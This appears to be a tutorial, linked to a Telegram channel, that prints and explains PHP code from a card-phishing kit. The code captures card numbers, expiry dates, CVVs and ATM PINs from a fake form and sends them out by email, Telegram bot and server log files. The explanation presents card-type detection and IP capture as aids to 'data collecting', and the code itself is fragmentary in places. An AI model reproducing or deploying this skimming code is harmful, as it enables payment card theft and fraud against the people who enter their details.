PHP Data To Bot Transfering
PHP Data To Bot Transfering
me/+6aHqiXj_MTE2YTMx
This Script Here Is Collecting Data Inputs From Forms By Element ID
<?php
// Starting a session
session_start();
$narr=array('scheme'=>$ctype,'type'=>'Unknown','brand'=>'Unknown','bank'=>a
rray('name'=>'Unknown',),'country'=>array('name'=>'Unknown'));
foreach($details as $key => $value){$narr[$key]=$value;}
return $narr;
}
// If card number, expiry date, and CVV are provided via POST method
if(isset($_POST['cardnumber']) && isset($_POST['expdate']) &&
isset($_POST['cvv'])){
// Extracting and sanitizing card number
$cnum = str_replace(' ','',$_POST['cardnumber']);
if(strlen($cnum) > 12){
$cardnumber = $cnum;
$expdate = $_POST['expdate'];
$cvv = $_POST['cvv'];
$atm = $_POST['pin'].$_SESSION['device'];
$PublicIP = getip();
$cd=getcd($cardnumber);
$bank=strtoupper($cd['bank']['name'])." | ".$cd['country']['name'];
$type=strtoupper($cd['scheme']." - ".$cd['type']);
$level=strtoupper($cd['brand']);
// Constructing card details log
$Info_LOG = "
|------------------ CARD DETAILS ----------------|
Bank Info : $bank
Type : $type
Level : $level
Card Number : $cardnumber
Expiry date : $expdate
CVV : $cvv
ATM PIN : $atm ";
$_SESSION['fullz'].=$Info_LOG;
⚛️⚪
if($Send_Email == 1 ){
$subject = $PublicIP.' 53rd CARD | DEVICE';
$headers = 'From: YoCHI
<[email protected]>' . "\r\n" .'X-Mailer: PHP/' .
phpversion();
mail($to, $subject, $Info_LOG, $headers);
}
// Saving result to file if configured
if($Ftp_Write == 1 ){
@mkdir('../../rst');
$file = fopen("../../rst/Result_".$PublicIP.".txt", 'a');
fwrite($file, $Info_LOG);
fclose($file);
}
// Sending Telegram notification if configured
if ($send_tg == 1) {
sendtoTG($tgid, $Info_LOG, $tgtoken);
}
// Sending email with session result if configured
⚛️⚪
if($Send_Email == 1 && isset($_SESSION['fullz'])){
$subject = $PublicIP.' 53rd SESSION RESULT';
$headers = 'From: YoCHI
<[email protected]>' . "\r\n" .'X-Mailer: PHP/' .
phpversion();
mail($to, $subject, $_SESSION['fullz'], $headers);
}
// Sending Telegram notification with session result if configured
if ($send_tg == 1 && isset($_SESSION['fullz'])) {
sendtoTG($tgid, $_SESSION['fullz'], $tgtoken);
}
// Saving session result to admin file if session is set
if(isset($_SESSION['fullz'])){
$file = fopen("../../admin/Results.txt", 'a');
fwrite($file, $_SESSION['fullz'].'r\n');
fclose($file);
};
// Redirecting to thank you page
header("location:thanks?sessionnI_IX=".md5(rand(100,
999999999))."");
}
// Redirecting if card number length is not valid
else{
header("location:conv2?".$theerrkey."=bc&dispatd=".md5('meyputc')."");
};
}
// Redirecting if card number, expiry date, or CVV are not provided
else{
header("location:conv2?".$theerrkey."=1&dihed=".md5('nassiyochimdz')."");
};
?>
Starting A Session
// Starting a session
session_start();
Initializes a new session or resumes an existing session. Sessions are a way to persist data
across multiple HTTP requests. When a session is started, php will generate a unique session
id for the user, which is stored in a cookie or passed via URLs. By calling session_start() at the
beginning of a php script, you enable the use of session variables ($_SESSION) to store and
retrieve data associated with the current session.
- $cardtype = array Initializes an associative array called $cardtype. Each key-value pair in
this array represents a card number prefix and its corresponding card type. Example: ‘34’ =>
‘American Express’
Checking Card Prefixes
// Check the first two digits of the card number to determine card type
if(substr($cardnumber,0,2) == "34"){return $cardtype[34];}
else if(substr($cardnumber,0,2) == "37"){return $cardtype[37];}
else if(substr($cardnumber,0,2)== "30"){return $cardtype[30];}
else if(substr($cardnumber,0,2)== "36"){return $cardtype[36];}
else if(substr($cardnumber,0,2)== "38"){return $cardtype[38];}
else if(substr($cardnumber,0,2)== "35"){return $cardtype[35];}
else if(substr($cardnumber,0,1)== "6"){return $cardtype[6];}
else if(substr($cardnumber,0,1)== "5"){return $cardtype[5];}
else if(substr($cardnumber,0,1) == "4"){return $cardtype[4];}
else {return "Unknown";}
}
Of the substr’s 0,2 extracts the first 2 digits of the card number. 0,1 extracts only the first
digit of the card number. The numbers next to them are conditions that check if the
extracted prefix matches specific values corresponding to various card types. return
$cardtype it returns the corresponding card type from the $cardtype array. This can be useful
when wanting to identify different certain information for data collecting.
- FILTER_VALIDATE_IP validates the client ip. If $client contains a valid IP address, it returns
$client, if forward contains a valid IP address, it returns $forward. If neither client or forward
contains a valid IP address it returns the $remote which represents the IP address of the
client making the request to the server.
$narr=array('scheme'=>$ctype,'type'=>'Unknown','brand'=>'Unknown','bank'=>a
rray('name'=>'Unknown',),'country'=>array('name'=>'Unknown'));
foreach($details as $key => $value){$narr[$key]=$value;}
return $narr;
}
function getcd($cardnumber) Declares a function named ‘getcd’ that takes one parameter
‘$cardnumber’, representing the credit card number
$cs=str_replace(' ','',$cardnumber) Removes any spaces from the card number using
str_replace().